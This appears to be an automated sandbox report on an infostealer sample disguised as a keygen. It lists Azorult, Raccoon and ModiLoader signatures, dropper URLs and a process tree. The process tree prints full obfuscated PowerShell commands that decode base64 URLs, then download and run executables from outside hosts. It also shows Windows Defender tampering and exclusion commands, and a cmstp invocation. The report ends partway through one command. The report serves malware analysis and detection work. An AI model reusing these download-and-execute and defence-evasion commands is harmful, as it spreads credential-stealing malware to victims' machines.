azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
59s
max time network
134s
platform
windows10_x64
resource
win10v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (22).exe

Score

10^/10

azorult modiloader oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 05:50:31 GMT Bot_ID: 18823CA4-5761-4226-8787-CF36135F1C68_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.13 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: LZUKLIOU - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (844 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 3 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral120/memory/792-307-0x0000000005150000-0x0000000005153000-memory.dmp	disable_win_def
C:\Windows\Temp\vrl1v4lv.exe	disable_win_def
C:\Windows\temp\vrl1v4lv.exe	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file

yara_rule
raccoon_log_file

ModiLoader First Stage 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\O5dS3owdN9.exe	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

11 2824 powershell.exe
13 2824 powershell.exe
14 3920 powershell.exe
16 3920 powershell.exe
20 4152 powershell.exe
28 4152 powershell.exe
Downloads MZ/PE file

flow	pid	process
11	2824	powershell.exe
13	2824	powershell.exe
14	3920	powershell.exe
16	3920	powershell.exe
20	4152	powershell.exe
28	4152	powershell.exe

Executes dropped EXE 26 IoCs

Processes:

Keygen.exefwk.exejfk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exejfk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exenek.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exenek.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefwk.exefwk.exehgfnmbasdo.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exeLhrOw7tsxA.exeO5dS3owdN9.exe887RMOpg0K.exeUUKZMITakx.exevrl1v4lv.exe

pid	process
3868	Keygen.exe
4656	fwk.exe
4648	jfk.exe
4800	FVjhgtresfdbv.exe
4816	NHtrdsaghfDF.exe
4880	jfk.exe
4896	FVjhgtresfdbv.exe
4916	NHtrdsaghfDF.exe
4228	nek.exe
3864	FVjhgtresfdbv.exe
4164	NHtrdsaghfDF.exe
4564	nek.exe
4588	FVjhgtresfdbv.exe
4608	NHtrdsaghfDF.exe
2672	fwk.exe
1552	fwk.exe
4796	hgfnmbasdo.exe
4424	hgfnmbasdo.exe
4508	hgfnmbasdo.exe
4412	axcsdfa.exe
3836	axcsdfa.exe
3080	LhrOw7tsxA.exe
4644	O5dS3owdN9.exe
4700	887RMOpg0K.exe
792	UUKZMITakx.exe
3464	vrl1v4lv.exe

Loads dropped DLL 15 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exejfk.exehgfnmbasdo.exe

pid	process
4896	FVjhgtresfdbv.exe
4896	FVjhgtresfdbv.exe
4896	FVjhgtresfdbv.exe
4588	FVjhgtresfdbv.exe
4588	FVjhgtresfdbv.exe
4588	FVjhgtresfdbv.exe
4880	jfk.exe
4508	hgfnmbasdo.exe
4508	hgfnmbasdo.exe
4508	hgfnmbasdo.exe
4880	jfk.exe
4880	jfk.exe
4880	jfk.exe
4880	jfk.exe
4880	jfk.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

UUKZMITakx.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	UUKZMITakx.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	UUKZMITakx.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

jfk.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini jfk.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	jfk.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

jfk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exenek.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefwk.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 4648 set thread context of 4880	4648	jfk.exe	jfk.exe
PID 4800 set thread context of 4896	4800	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4816 set thread context of 4916	4816	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4228 set thread context of 4564	4228	nek.exe	nek.exe
PID 3864 set thread context of 4588	3864	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4164 set thread context of 4608	4164	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4656 set thread context of 1552	4656	fwk.exe	fwk.exe
PID 4796 set thread context of 4508	4796	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 4412 set thread context of 3836	4412	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

2040 timeout.exe
5108 timeout.exe
3368 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4876 taskkill.exe
204 taskkill.exe
4140 taskkill.exe
3492 taskkill.exe

pid	process
2040	timeout.exe
5108	timeout.exe
3368	timeout.exe

pid	process
4876	taskkill.exe
204	taskkill.exe
4140	taskkill.exe
3492	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.exefwk.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	fwk.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exefwk.exehgfnmbasdo.exe887RMOpg0K.exe

pid	process
2824	powershell.exe
2780	powershell.exe
3920	powershell.exe
2860	powershell.exe
2780	powershell.exe
2824	powershell.exe
3920	powershell.exe
2780	powershell.exe
2860	powershell.exe
2824	powershell.exe
3920	powershell.exe
2860	powershell.exe
4152	powershell.exe
4352	powershell.exe
4152	powershell.exe
4352	powershell.exe
4152	powershell.exe
4152	powershell.exe
4352	powershell.exe
4352	powershell.exe
4656	fwk.exe
4656	fwk.exe
4796	hgfnmbasdo.exe
4796	hgfnmbasdo.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

jfk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exenek.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4648 jfk.exe
4800 FVjhgtresfdbv.exe
4816 NHtrdsaghfDF.exe
4228 nek.exe
3864 FVjhgtresfdbv.exe
4164 NHtrdsaghfDF.exe

pid	process
4648	jfk.exe
4800	FVjhgtresfdbv.exe
4816	NHtrdsaghfDF.exe
4228	nek.exe
3864	FVjhgtresfdbv.exe
4164	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exefwk.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exe887RMOpg0K.exeUUKZMITakx.exepowershell.exetaskkill.exepowershell.exeLhrOw7tsxA.exePowershell.exe

description	pid	process
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	4656	fwk.exe
Token: SeDebugPrivilege	4876	taskkill.exe
Token: SeDebugPrivilege	204	taskkill.exe
Token: SeDebugPrivilege	4796	hgfnmbasdo.exe
Token: SeDebugPrivilege	4140	taskkill.exe
Token: SeDebugPrivilege	4412	axcsdfa.exe
Token: SeDebugPrivilege	4700	887RMOpg0K.exe
Token: SeDebugPrivilege	792	UUKZMITakx.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	3492	taskkill.exe
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeDebugPrivilege	3080	LhrOw7tsxA.exe
Token: SeDebugPrivilege	4212	Powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exejfk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exenek.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe887RMOpg0K.exe

pid	process
3868	Keygen.exe
4648	jfk.exe
4800	FVjhgtresfdbv.exe
4816	NHtrdsaghfDF.exe
4228	nek.exe
3864	FVjhgtresfdbv.exe
4164	NHtrdsaghfDF.exe
4700	887RMOpg0K.exe
4700	887RMOpg0K.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (22).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exejfk.exe

description	pid	process	target process
PID 1516 wrote to memory of 2704	1516	Keygen — копия (22).exe	cmd.exe
PID 1516 wrote to memory of 2704	1516	Keygen — копия (22).exe	cmd.exe
PID 1516 wrote to memory of 2704	1516	Keygen — копия (22).exe	cmd.exe
PID 2704 wrote to memory of 3868	2704	cmd.exe	Keygen.exe
PID 2704 wrote to memory of 3868	2704	cmd.exe	Keygen.exe
PID 2704 wrote to memory of 3868	2704	cmd.exe	Keygen.exe
PID 2704 wrote to memory of 1792	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 1792	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 1792	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 3408	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 3408	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 3408	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 3368	2704	cmd.exe	timeout.exe
PID 2704 wrote to memory of 3368	2704	cmd.exe	timeout.exe
PID 2704 wrote to memory of 3368	2704	cmd.exe	timeout.exe
PID 1792 wrote to memory of 2824	1792	mshta.exe	powershell.exe
PID 1792 wrote to memory of 2824	1792	mshta.exe	powershell.exe
PID 1792 wrote to memory of 2824	1792	mshta.exe	powershell.exe
PID 3408 wrote to memory of 2780	3408	mshta.exe	powershell.exe
PID 3408 wrote to memory of 2780	3408	mshta.exe	powershell.exe
PID 3408 wrote to memory of 2780	3408	mshta.exe	powershell.exe
PID 2704 wrote to memory of 2856	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 2856	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 2856	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 1140	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 1140	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 1140	2704	cmd.exe	mshta.exe
PID 2856 wrote to memory of 3920	2856	mshta.exe	powershell.exe
PID 2856 wrote to memory of 3920	2856	mshta.exe	powershell.exe
PID 2856 wrote to memory of 3920	2856	mshta.exe	powershell.exe
PID 1140 wrote to memory of 2860	1140	mshta.exe	powershell.exe
PID 1140 wrote to memory of 2860	1140	mshta.exe	powershell.exe
PID 1140 wrote to memory of 2860	1140	mshta.exe	powershell.exe
PID 2704 wrote to memory of 2040	2704	cmd.exe	timeout.exe
PID 2704 wrote to memory of 2040	2704	cmd.exe	timeout.exe
PID 2704 wrote to memory of 2040	2704	cmd.exe	timeout.exe
PID 2704 wrote to memory of 572	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 572	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 572	2704	cmd.exe	mshta.exe
PID 572 wrote to memory of 4152	572	mshta.exe	powershell.exe
PID 572 wrote to memory of 4152	572	mshta.exe	powershell.exe
PID 572 wrote to memory of 4152	572	mshta.exe	powershell.exe
PID 2704 wrote to memory of 4248	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 4248	2704	cmd.exe	mshta.exe
PID 2704 wrote to memory of 4248	2704	cmd.exe	mshta.exe
PID 4248 wrote to memory of 4352	4248	mshta.exe	powershell.exe
PID 4248 wrote to memory of 4352	4248	mshta.exe	powershell.exe
PID 4248 wrote to memory of 4352	4248	mshta.exe	powershell.exe
PID 2824 wrote to memory of 4648	2824	powershell.exe	jfk.exe
PID 2824 wrote to memory of 4648	2824	powershell.exe	jfk.exe
PID 2824 wrote to memory of 4648	2824	powershell.exe	jfk.exe
PID 3920 wrote to memory of 4656	3920	powershell.exe	fwk.exe
PID 3920 wrote to memory of 4656	3920	powershell.exe	fwk.exe
PID 3920 wrote to memory of 4656	3920	powershell.exe	fwk.exe
PID 4648 wrote to memory of 4800	4648	jfk.exe	FVjhgtresfdbv.exe
PID 4648 wrote to memory of 4800	4648	jfk.exe	FVjhgtresfdbv.exe
PID 4648 wrote to memory of 4800	4648	jfk.exe	FVjhgtresfdbv.exe
PID 4648 wrote to memory of 4816	4648	jfk.exe	NHtrdsaghfDF.exe
PID 4648 wrote to memory of 4816	4648	jfk.exe	NHtrdsaghfDF.exe
PID 4648 wrote to memory of 4816	4648	jfk.exe	NHtrdsaghfDF.exe
PID 4648 wrote to memory of 4880	4648	jfk.exe	jfk.exe
PID 4648 wrote to memory of 4880	4648	jfk.exe	jfk.exe
PID 4648 wrote to memory of 4880	4648	jfk.exe	jfk.exe
PID 4648 wrote to memory of 4880	4648	jfk.exe	jfk.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (22).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (22).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E99A.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (22).exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2704

C:\Users\Admin\AppData\Local\Temp\E99A.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3868

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E99A.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824

C:\Users\Public\jfk.exe
"C:\Users\Public\jfk.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4648

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4800

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4896

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4896 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\965968705142967\\* & exit
8⤵
PID:2636

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4896
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4816

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4916

C:\Users\Public\jfk.exe
"C:\Users\Public\jfk.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:4880

C:\Users\Admin\AppData\Local\Temp\LhrOw7tsxA.exe
"C:\Users\Admin\AppData\Local\Temp\LhrOw7tsxA.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3080

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
"Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\LhrOw7tsxA.exe"'
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:4212

C:\Users\Admin\AppData\Local\Temp\O5dS3owdN9.exe
"C:\Users\Admin\AppData\Local\Temp\O5dS3owdN9.exe"
7⤵
- Executes dropped EXE
PID:4644

C:\Users\Admin\AppData\Local\Temp\887RMOpg0K.exe
"C:\Users\Admin\AppData\Local\Temp\887RMOpg0K.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4700

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\cd3upyjt.inf
8⤵
PID:1144

C:\Users\Admin\AppData\Local\Temp\UUKZMITakx.exe
"C:\Users\Admin\AppData\Local\Temp\UUKZMITakx.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:3880

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\jfk.exe"
7⤵
PID:4756

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:5108

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E99A.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2780

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3368

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E99A.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2856

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, 